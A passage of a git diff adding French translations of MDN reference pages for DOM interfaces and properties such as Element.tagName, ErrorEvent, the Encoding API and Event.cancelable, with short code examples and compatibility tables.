+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("35")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("29")}}<sup>[2]</sup></td>
+   <td>10 {{property_prefix("-ms")}}<br>
+    11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pris en charge dans <a href="http://crbug.com/248918">bug 248918</a>.</p>
+
+<p>[2] Supporté avec la préférence <code>dom.w3c_pointer_events.enabled</code> par  défaut à <code>false</code> (<em>faux</em>).</p>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("Element.releasePointerCapture")}}</li>
+ <li>{{ domxref("Pointer_events","Pointer Events") }}</li>
+</ul>
diff --git a/files/fr/web/api/element/tabstop/index.html b/files/fr/web/api/element/tabstop/index.html
new file mode 100644
index 0000000000..95951748e6
--- /dev/null
+++ b/files/fr/web/api/element/tabstop/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.tabStop
+slug: Web/API/Element/tabStop
+tags:
+  - API
+  - DOM
+  - Element
+  - Propriétés
+  - touche tabulation
+translation_of: Web/API/Element/tabStop
+---
+<p>{{APIRef("DOM")}}{{non-standard_header}}{{obsolete_header}}</p>
+
+<p>La propriété <strong><code>tabStop</code></strong> de l'interface {{domxref("Element")}} renvoie un {{jsxref("Boolean")}} indiquant si l'élément peut recevoir le focus d'entrée via la touche de tabulation. Si l'élément spécifié est un onglet shadow, la navigation est déléguée à ses enfants.</p>
+
+<p>La propriété a été proposée pour ajouter une fonctionnalité de tabulation aux éléments personnalisés. Alors qu'avec la propriété {{domxref("HTMLElement.tabIndex", "tabIndex")}} existante, il est nécessaire de spécifier un ordre pour que la touche tabulation soit utilisable sur un élément. La propriété <code>tabStop</code> devait découpler la propriété d'utilisation de la tabulation de l'index. Après les retours d'expérience, cette propriété a été supprimée de <a href="https://docs.google.com/document/d/1k93Ez6yNSyWQDtGjdJJqTBPmljk9l2WS3JTe5OHHB50/edit">documentation de conception</a> (en) et remplacée par {{domxref("ShadowRoot.delegatesFocus")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var isTabStop = element.tabStop;
+element.tabStop = (true|false);
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/element/tagname/index.html b/files/fr/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..80be64da69
--- /dev/null
+++ b/files/fr/web/api/element/tagname/index.html
@@ -0,0 +1,121 @@
+---
+title: element.tagName
+slug: Web/API/Element/tagName
+tags:
+  - API
+  - DOM
+  - Element
+  - Nom
+  - Propriétés
+translation_of: Web/API/Element/tagName
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Renvoie le nom de l'étiquette de l'élément sur lequel elle est appelée. Si l'élément est une {{HTMLElement("img")}}, sa propriété <code>tagName</code> est <code>"IMG"</code> (pour les documents HTML, elle peut être différente pour les documents XML et XHTML).</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>elementName</em> = element.tagName;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne indiquant le nom de l'étiquette de l'élément. Cette chaîne comporte des majuscules selon le type de document :</p>
+
+<ul>
+ <li>Pour l'arbre DOM qui représente un document HTML, le nom renvoyé est toujours en forme majuscule canonique. Par exemple, <code>tagName</code> appelé sur un élément {{HTMLElement("div")}} renvoie <code>"DIV"</code>.</li>
+ <li>Les noms des éléments dans un arbre DOM XML, sont retournés dans la même casse que celle utilisée dans le fichier XML d'origine. Si un document XML inclut une étiquette <code>"&lt;SomeTag&gt;"</code>, alors la valeur de la propriété <code>tagName</code> est <code>"SomeTag"</code>.</li>
+ <li>Pour les objets {{domxref("Element")}} , la valeur de l'étiquette de nom est la même que la valeur de la propriété {{domxref("Node.nodeName", "nodeName")}} héritée de {{domxref("Node")}}.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="eval">&lt;span id="naissance"&gt;Lorsque je suis né…&lt;/span&gt;
+</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> span <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"naissance"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>span<span class="punctuation token">.</span>tagName<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>En XHTML (ou tout autre format XML), <span id="result_box" lang="fr"><span>la casse d'origine sera conservée, de sorte que <code>"span"</code> sera affiché dans le cas où le nom de l'étiquette d'origine a été créé en minuscules.</span> <span>En HTML, <code>"SPAN"</code> serait affiché à la place quelle que soit la casse utilisée lors de la création du document original.</span></span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-104682815", "Element.tagName")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-104682815", "Element.tagName")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/elementtraversal/index.html b/files/fr/web/api/elementtraversal/index.html
new file mode 100644
index 0000000000..3e6ae156ff
--- /dev/null
+++ b/files/fr/web/api/elementtraversal/index.html
@@ -0,0 +1,41 @@
+---
+title: ElementTraversal
+slug: Web/API/ElementTraversal
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Element
+  - Interface
+  - Noeuds
+translation_of: Web/API/ElementTraversal
+---
+<div>{{APIRef("DOM")}}{{obsolete_header}}</div>
+
+<p>L'interface <strong><code>ElementTraversal</code></strong> définissait des méthodes permettant d'accèder depuis un {{domxref("Node")}} (<em>noeud</em>) à un autre dans l'arbre du document.</p>
+
+<p>Elle s'est avérée inutile, car très peu de types de {{domxref("Node")}} ont pu implémenter toutes ses méthodes et propriétés. Elle a été scindée en deux interfaces, {{domxref ("ChildNode")}} et {{domxref ("ParentNode")}} contenant les méthodes et propriétés utiles pour chacun des types de noeud.</p>
+
+<p>Comme c'était une pure interface, sans aucun objet de ce type, ce changement n'a eu aucun effet sur le web.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>L'interface <code>ElementTraversal</code> divisée en interfaces {{domxref("ParentNode")}} et {{domxref("ChildNode")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/encoding_api/index.html b/files/fr/web/api/encoding_api/index.html
new file mode 100644
index 0000000000..4870b3a93c
--- /dev/null
+++ b/files/fr/web/api/encoding_api/index.html
@@ -0,0 +1,62 @@
+---
+title: Encoding API
+slug: Web/API/Encoding_API
+tags:
+  - API
+  - Encoding
+  - Overview
+  - Reference
+translation_of: Web/API/Encoding_API
+---
+<p>{{DefaultAPISidebar("Encoding API")}}{{SeeCompatTable}}</p>
+
+<p>L'<code>API Encoding</code> fournit un mecanisme de traitement de texte dans plusieurs {{Glossary("character encoding", "character encodings")}}, incluant les encodings non-{{Glossary("UTF-8")}}.</p>
+
+<p>L'API fournit quatres interfaces: {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}} et {{domxref("TextEncoderStream")}}.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("TextDecoder")}}</li>
+ <li>{{DOMxRef("TextEncoder")}}</li>
+ <li>{{DOMxRef("TextDecoderStream")}}</li>
+ <li>{{DOMxRef("TextEncoderStream")}}</li>
+</ul>
+</div>
+
+<h2 id="Tutoriels_Outils">Tutoriels &amp; Outils</h2>
+
+<ul>
+ <li>Un <a href="http://code.google.com/p/stringencoding/">shim</a> permettant d'utiliser cette interface dans les navigateurs ne le supportant pas.</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> – une représentation de type C des chaînes basée sur des tableaux typés.</li>
+</ul>
+
+<h2 id="Caracteristiques">Caracteristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caracteristiques</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Encoding")}}</td>
+   <td>{{Spec2("Encoding")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+
+
+<h3 id="TextDecoder"><code>TextDecoder</code></h3>
+
+<p>{{Compat("api.TextDecoder")}}</p>
+
+<h3 id="TextEncoder"><code>TextEncoder</code></h3>
+
+<p>{{Compat("api.TextEncoder")}}</p>
diff --git a/files/fr/web/api/entity/index.html b/files/fr/web/api/entity/index.html
new file mode 100644
index 0000000000..2c160ead13
--- /dev/null
+++ b/files/fr/web/api/entity/index.html
@@ -0,0 +1,114 @@
+---
+title: Entity
+slug: Web/API/Entity
+tags:
+  - API
+  - DOM
+  - Entités
+  - Interface
+  - Noeuds
+translation_of: Web/API/Entity
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>Référence en lecture seule à une entité DTD (<em>définition de type de document</em>). Hérite également des méthodes et propriétés de {{domxref("Node")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Entity.publicId")}} {{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Entity.systemId")}} {{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Entity.notationName")}}{{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Ajout de <code>inputEncoding</code>, <code>xmlEncoding</code> et <code>xmlVersion</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/entityreference/index.html b/files/fr/web/api/entityreference/index.html
new file mode 100644
index 0000000000..ee21b2b83f
--- /dev/null
+++ b/files/fr/web/api/entityreference/index.html
@@ -0,0 +1,93 @@
+---
+title: EntityReference
+slug: Web/API/EntityReference
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Entité
+  - Interface
+  - Noeuds
+  - Reference
+translation_of: Web/API/EntityReference
+---
+<p>{{APIRef("DOM")}}{{Obsolete_header}}</p>
+
+<div class="warning">
+<p>NOTE : Ceci n'est pas implémenté dans Mozilla</p>
+</div>
+
+<p>Référence en lecture seule à une référence d'entité dans l'arborescence DOM. N'a pas de propriétés ou méthodes propres mais hérite de {{domxref("Node")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-11C98490", "EntityReference")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/errorevent/index.html b/files/fr/web/api/errorevent/index.html
new file mode 100644
index 0000000000..faa0d46a29
--- /dev/null
+++ b/files/fr/web/api/errorevent/index.html
@@ -0,0 +1,76 @@
+---
+title: ErrorEvent
+slug: Web/API/ErrorEvent
+tags:
+  - API
+  - Evènement
+  - Worker API
+translation_of: Web/API/ErrorEvent
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interface <strong><code>ErrorEvent</code></strong> représente un événement donnant des informations relatives aux erreurs dans les scripts ou dans les fichiers.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite également des propriétés de son parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ErrorEvent.message")}} {{readonlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant un message d'erreur lisible décrivant le problème.</dd>
+ <dt>{{domxref("ErrorEvent.filename")}} {{readonlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le nom du fichier de script dans lequel l'erreur est survenue.</dd>
+ <dt>{{domxref("ErrorEvent.lineno")}} {{readonlyInline}}</dt>
+ <dd>Un <code>integer</code> contenant le numéro de ligne du fichier de script dans lequel l'erreur est survenue.</dd>
+ <dt>{{domxref("ErrorEvent.colno")}} {{readonlyInline}}</dt>
+ <dd>Un <code>integer</code> contenant le numéro de colonne du fichier de script dans lequel l'erreur est survenue.</dd>
+ <dt>{{domxref("ErrorEvent.error")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Un <code>Object</code> JavaScript qui est concerné par l'événement.</dd>
+</dl>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("ErrorEvent.ErrorEvent", "ErrorEvent()")}}</dt>
+ <dd>Crée un événement <code>ErrorEvent</code> avec les paramètres fournis.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref("Event")}}</em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ajout de la propriété <code>error</code> et du 5ème paramètre du constructeur.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ErrorEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers" title="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation des web workers</a>, notamment les objets susceptibles de déclencher un tel événement.</li>
+</ul>
diff --git a/files/fr/web/api/event/bubbles/index.html b/files/fr/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..0c59b8b0f6
--- /dev/null
+++ b/files/fr/web/api/event/bubbles/index.html
@@ -0,0 +1,83 @@
+---
+title: Event.bubbles
+slug: Web/API/Event/bubbles
+tags:
+  - API
+  - DOM
+  - Propagation
+  - Propriétés
+  - évènements
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Indique si l'événement donné se propage à travers le DOM ou non.</p>
+
+<div class="note">
+<p>Note : Voir <a href="https://developer.mozilla.org/fr/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">Propagation et capture des évènements</a> pour plus d'informations sur la propagation.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>event.bubbles</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Retourne un booléen dont la valeur est <code>true</code> (<em>vraie</em>) si l'événement se propage à travers le DOM.</p>
+
+<h2 id="Syntax" name="Syntax">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">goInput</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// vérifie la propagation et</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>e<span class="punctuation token">.</span>bubbles<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+     <span class="comment token">// la lance si elle ne l'a pas été</span>
+     <span class="function token">passItOn</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="comment token">// déjà propagé</span>
+  <span class="function token">doOutput</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Note </strong>: Certains évènements seulement peuvent se propager. Ceux dont cette propriété est définie à  <code>true</code>. Vous pouvez utiliser cette propriété pour vérifier si un évènement est autorisé à se propager ou non.</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-bubbles', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-bubbles', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-canBubble', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.bubbles")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation">stopPropagation</a> pour empêcher la propagation</li>
+</ul>
diff --git a/files/fr/web/api/event/cancelable/index.html b/files/fr/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..0d17c1107e
--- /dev/null
+++ b/files/fr/web/api/event/cancelable/index.html
@@ -0,0 +1,90 @@
+---
+title: Event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+  - API
+  - Annulable
+  - DOM
+  - Propriétés
+  - évènements
+translation_of: Web/API/Event/cancelable
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>La propriété  <dfn><code>cancelable</code></dfn> (<em>annulable</em>) de "Event" Indique si l'événement peut être annulé et donc empêché, comme si l'événement ne s'était jamais produit. Si l'événement n'est pas annulable, alors sa propriété <code>cancelable</code> est à <code>false</code> (<em>faux</em>) et l'écouteur d'événement ne peut pas l'arrêter.</p>
+
+<p>L'appel de {{domxref("event.preventDefault", "preventDefault()")}} sur un évènement qui ne peut être annulé produit une erreur, aussi les écouteurs d'évènement qui gèrent de nombreux types d'évènements peuvent être vérifiés avec <code>cancelable</code> avant d'appeler leurs méthodes <code>preventDefault()</code>.</p>
+
+<p><span id="result_box" lang="fr"><span>La plupart des événements natifs du navigateur qui peuvent être annulés sont ceux qui résultent de l'interaction de l'utilisateur avec la page.</span> <span>L'annulation des événements <a href="https://developer.mozilla.org/fr/docs/Web/Events/click">click</a>, <a href="https://developer.mozilla.org/fr/docs/Web/Events/scroll">scroll</a> ou <a href="https://developer.mozilla.org/fr/docs/Web/Events/beforeunload">beforeunload</a> empêcherait l'utilisateur de cliquer sur un élément, de faire défiler la page ou de la quitter, respectivement.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>bool</var> = <em>event</em>.cancelable
+</pre>
+
+<ul>
+ <li>Le résultat est un <code>booléen</code> qui est <code>true</code> (<em>vrai</em>) si l'événement peut être annulé.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Par exemple, les vendeurs de navigateurs proposent que l'<a href="https://developer.mozilla.org/fr/docs/Web/Events/wheel">évènement wheel </a>puisse être annulable seulement  <a href="https://github.com/WICG/interventions/issues/33" rel="external">la première fois que l'écouteur est appelé</a> (en) ; les évènements  <code>wheel</code> suivants ne peuvent être annulés.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">preventScrollWheel</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> event<span class="punctuation token">.</span>cancelable <span class="operator token">!==</span> <span class="string token">'boolean'</span> <span class="operator token">||</span> event<span class="punctuation token">.</span>cancelable<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// L'événement peut être annulé, alors nous le faisons.</span>
+    event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="comment token">// L'évènement ne peut pas être annulé, il n'est donc pas sûr</span>
+    <span class="comment token">// d'appeler preventDefault() sur lui.</span>
+    console<span class="punctuation token">.</span><span class="function token">warn</span><span class="punctuation token">(</span><span class="template-string token"><span class="string token">`The following event couldn't be canceled:`</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">dir</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
